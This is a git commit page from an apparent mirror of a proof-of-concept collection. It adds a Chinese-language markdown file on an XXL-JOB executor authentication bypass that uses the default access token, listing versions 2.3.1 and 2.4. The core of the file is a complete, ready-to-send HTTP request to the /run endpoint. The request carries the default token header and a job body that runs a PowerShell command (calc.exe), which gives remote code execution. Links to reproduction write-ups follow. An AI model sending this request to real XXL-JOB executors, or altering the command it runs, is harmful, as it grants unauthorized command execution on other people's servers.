mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create XXL-JOB默认accessToken身份绕过漏洞.md
This commit is contained in:
parent
0a8f3d82db
commit
2da05a9567
48
XXL-JOB默认accessToken身份绕过漏洞.md
Normal file
48
XXL-JOB默认accessToken身份绕过漏洞.md
Normal file
@ -0,0 +1,48 @@
|
|||||||
|
## XXL-JOB默认accessToken身份绕过漏洞
|
||||||
|
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
```
|
||||||
|
2.3.1和2.4
|
||||||
|
```
|
||||||
|
|
||||||
|
## poc
|
||||||
|
```
|
||||||
|
POST /run HTTP/1.1
|
||||||
|
Host: 127.0.0.1:9999
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
DNT: 1
|
||||||
|
Connection: close
|
||||||
|
XXL-JOB-ACCESS-TOKEN: default_token
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
Sec-Fetch-Dest: document
|
||||||
|
Sec-Fetch-Mode: navigate
|
||||||
|
Sec-Fetch-Site: none
|
||||||
|
Sec-Fetch-User: ?1
|
||||||
|
Content-Length: 365
|
||||||
|
|
||||||
|
{
|
||||||
|
"jobId": 1,
|
||||||
|
"executorHandler": "demoJobHandler",
|
||||||
|
"executorParams": "demoJobHandler",
|
||||||
|
"executorBlockStrategy": "SERIAL_EXECUTION",
|
||||||
|
"executorTimeout": 0,
|
||||||
|
"logId": 1,
|
||||||
|
"logDateTime": 1586629003729,
|
||||||
|
"glueType": "GLUE_POWERSHELL",
|
||||||
|
"glueSource": "calc.exe",
|
||||||
|
"glueUpdatetime": 1586699003758,
|
||||||
|
"broadcastIndex": 0,
|
||||||
|
"broadcastTotal": 0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
```
|
||||||
|
https://mp.weixin.qq.com/s/9vcIRCbKyisFq3vPXmiMkQ
|
||||||
|
https://www.cnblogs.com/chm0d/p/17805168.html
|
||||||
|
```
|
||||||
|
|
||||||
Loading…
x
Reference in New Issue
Block a user